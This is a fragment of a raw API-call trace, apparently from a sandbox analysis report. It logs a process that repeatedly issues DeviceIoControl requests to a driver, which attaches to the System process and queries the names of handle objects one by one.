KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.074] PsReleaseProcessExitSynchronization () returned 0x2 [0064.074] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.074] ObQueryNameString (in: Object=0xfffffa80021877b0, ObjectNameInfo=0xfffffa80038f9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.075] ObfDereferenceObject (Object=0xfffffa80021877b0) returned 0x2 [0064.075] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.075] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.075] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.075] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.075] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.075] PsAcquireProcessExitSynchronization () returned 0x0 [0064.075] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.075] ObReferenceObjectByHandle (in: Handle=0xffffffff80000678, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002154f20, HandleInformation=0x0) returned 0x0 [0064.075] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.075] PsReleaseProcessExitSynchronization () returned 0x2 [0064.075] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.075] ObQueryNameString (in: Object=0xfffffa8002154f20, ObjectNameInfo=0xfffffa80038e9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.075] ObfDereferenceObject (Object=0xfffffa8002154f20) returned 0x2 [0064.075] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.075] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.075] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.075] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0xce, lpOverlapped=0x0) returned 1 [0064.075] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.075] PsAcquireProcessExitSynchronization () returned 0x0 [0064.075] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.075] ObReferenceObjectByHandle (in: Handle=0xffffffff8000067c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80024048a0, HandleInformation=0x0) returned 0x0 [0064.075] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.075] PsReleaseProcessExitSynchronization () returned 0x2 [0064.075] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.075] ObQueryNameString (in: Object=0xfffffa80024048a0, ObjectNameInfo=0xfffffa80038e8044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e8044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.075] ObfDereferenceObject (Object=0xfffffa80024048a0) returned 0x2 [0064.075] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.075] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.075] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.076] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.076] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.076] PsAcquireProcessExitSynchronization () returned 0x0 [0064.076] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.076] ObReferenceObjectByHandle (in: Handle=0xffffffff80000680, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002152590, HandleInformation=0x0) returned 0x0 [0064.076] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.076] PsReleaseProcessExitSynchronization () returned 0x2 [0064.076] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.076] ObQueryNameString (in: Object=0xfffffa8002152590, ObjectNameInfo=0xfffffa80038ef044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ef044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.076] ObfDereferenceObject (Object=0xfffffa8002152590) returned 0x2 [0064.076] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.076] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.076] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.076] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.076] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.076] PsAcquireProcessExitSynchronization () returned 0x0 [0064.076] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.076] ObReferenceObjectByHandle (in: Handle=0xffffffff80000684, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002156050, HandleInformation=0x0) returned 0x0 [0064.076] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.076] PsReleaseProcessExitSynchronization () returned 0x2 [0064.076] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.076] ObQueryNameString (in: Object=0xfffffa8002156050, ObjectNameInfo=0xfffffa80038e9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.076] ObfDereferenceObject (Object=0xfffffa8002156050) returned 0x2 [0064.076] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.076] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.076] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.076] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.076] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.076] PsAcquireProcessExitSynchronization () returned 0x0 [0064.076] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.076] ObReferenceObjectByHandle (in: Handle=0xffffffff80000688, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80021396e0, HandleInformation=0x0) returned 0x0 [0064.076] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.076] PsReleaseProcessExitSynchronization () returned 0x2 [0064.076] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.076] ObQueryNameString (in: Object=0xfffffa80021396e0, ObjectNameInfo=0xfffffa80037bc7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80037bc7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.077] ObfDereferenceObject (Object=0xfffffa80021396e0) returned 0x2 [0064.077] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.077] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.077] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.077] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.077] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.077] PsAcquireProcessExitSynchronization () returned 0x0 [0064.077] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.077] ObReferenceObjectByHandle (in: Handle=0xffffffff80000690, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002154660, HandleInformation=0x0) returned 0x0 [0064.077] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.077] PsReleaseProcessExitSynchronization () returned 0x2 [0064.077] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.077] ObQueryNameString (in: Object=0xfffffa8002154660, ObjectNameInfo=0xfffffa80038f9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038f9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.077] ObfDereferenceObject (Object=0xfffffa8002154660) returned 0x2 [0064.077] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.077] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.077] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.077] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.077] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.077] PsAcquireProcessExitSynchronization () returned 0x0 [0064.077] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.077] ObReferenceObjectByHandle (in: Handle=0xffffffff80000694, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002066a30, HandleInformation=0x0) returned 0x0 [0064.077] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.077] PsReleaseProcessExitSynchronization () returned 0x2 [0064.077] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.077] ObQueryNameString (in: Object=0xfffffa8002066a30, ObjectNameInfo=0xfffffa80038e0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.077] ObfDereferenceObject (Object=0xfffffa8002066a30) returned 0x2 [0064.077] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.077] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.077] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.077] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.077] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.077] PsAcquireProcessExitSynchronization () returned 0x0 [0064.077] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.078] ObReferenceObjectByHandle (in: Handle=0xffffffff80000698, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80021451f0, HandleInformation=0x0) returned 0x0 [0064.078] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.078] PsReleaseProcessExitSynchronization () returned 0x2 [0064.078] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.078] ObQueryNameString (in: Object=0xfffffa80021451f0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.078] ObfDereferenceObject (Object=0xfffffa80021451f0) returned 0x2 [0064.078] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.078] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.078] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.078] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.078] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.078] PsAcquireProcessExitSynchronization () returned 0x0 [0064.078] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.078] ObReferenceObjectByHandle (in: Handle=0xffffffff8000069c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800211c590, HandleInformation=0x0) returned 0x0 [0064.078] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.078] PsReleaseProcessExitSynchronization () returned 0x2 [0064.078] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.078] ObQueryNameString (in: Object=0xfffffa800211c590, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.078] ObfDereferenceObject (Object=0xfffffa800211c590) returned 0x2 [0064.078] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.078] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.078] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.078] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.078] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.078] PsAcquireProcessExitSynchronization () returned 0x0 [0064.078] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.078] ObReferenceObjectByHandle (in: Handle=0xffffffff800006a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002147b30, HandleInformation=0x0) returned 0x0 [0064.078] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.078] PsReleaseProcessExitSynchronization () returned 0x2 [0064.078] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.078] ObQueryNameString (in: Object=0xfffffa8002147b30, ObjectNameInfo=0xfffffa80037cb044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80037cb044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.078] ObfDereferenceObject (Object=0xfffffa8002147b30) returned 0x2 [0064.078] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.078] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.079] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.079] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.079] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.079] PsAcquireProcessExitSynchronization () returned 0x0 [0064.079] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.079] ObReferenceObjectByHandle (in: Handle=0xffffffff800006a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002125f20, HandleInformation=0x0) returned 0x0 [0064.079] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.079] PsReleaseProcessExitSynchronization () returned 0x2 [0064.079] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.079] ObQueryNameString (in: Object=0xfffffa8002125f20, ObjectNameInfo=0xfffffa80038da044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038da044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.079] ObfDereferenceObject (Object=0xfffffa8002125f20) returned 0x2 [0064.079] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.079] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.079] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.079] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.079] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.079] PsAcquireProcessExitSynchronization () returned 0x0 [0064.079] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.079] ObReferenceObjectByHandle (in: Handle=0xffffffff800006a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002145050, HandleInformation=0x0) returned 0x0 [0064.079] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.079] PsReleaseProcessExitSynchronization () returned 0x2 [0064.079] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.079] ObQueryNameString (in: Object=0xfffffa8002145050, ObjectNameInfo=0xfffffa80038be044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038be044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.079] ObfDereferenceObject (Object=0xfffffa8002145050) returned 0x2 [0064.079] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.079] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.079] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.079] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.079] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.079] PsAcquireProcessExitSynchronization () returned 0x0 [0064.079] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.079] ObReferenceObjectByHandle (in: Handle=0xffffffff800006ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002120590, HandleInformation=0x0) returned 0x0 [0064.079] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.079] PsReleaseProcessExitSynchronization () returned 0x2 [0064.079] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.080] ObQueryNameString (in: Object=0xfffffa8002120590, ObjectNameInfo=0xfffffa8003866044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003866044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.080] ObfDereferenceObject (Object=0xfffffa8002120590) returned 0x2 [0064.080] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.080] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.080] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.080] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.080] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.080] PsAcquireProcessExitSynchronization () returned 0x0 [0064.080] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.080] ObReferenceObjectByHandle (in: Handle=0xffffffff800006b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002145ab0, HandleInformation=0x0) returned 0x0 [0064.080] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.080] PsReleaseProcessExitSynchronization () returned 0x2 [0064.080] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.080] ObQueryNameString (in: Object=0xfffffa8002145ab0, ObjectNameInfo=0xfffffa80038a0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038a0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.080] ObfDereferenceObject (Object=0xfffffa8002145ab0) returned 0x2 [0064.080] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.080] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.080] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.080] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.080] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.080] PsAcquireProcessExitSynchronization () returned 0x0 [0064.080] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.080] ObReferenceObjectByHandle (in: Handle=0xffffffff800006b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800212e050, HandleInformation=0x0) returned 0x0 [0064.080] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.080] PsReleaseProcessExitSynchronization () returned 0x2 [0064.080] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.080] ObQueryNameString (in: Object=0xfffffa800212e050, ObjectNameInfo=0xfffffa80038db044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038db044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.080] ObfDereferenceObject (Object=0xfffffa800212e050) returned 0x2 [0064.080] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) 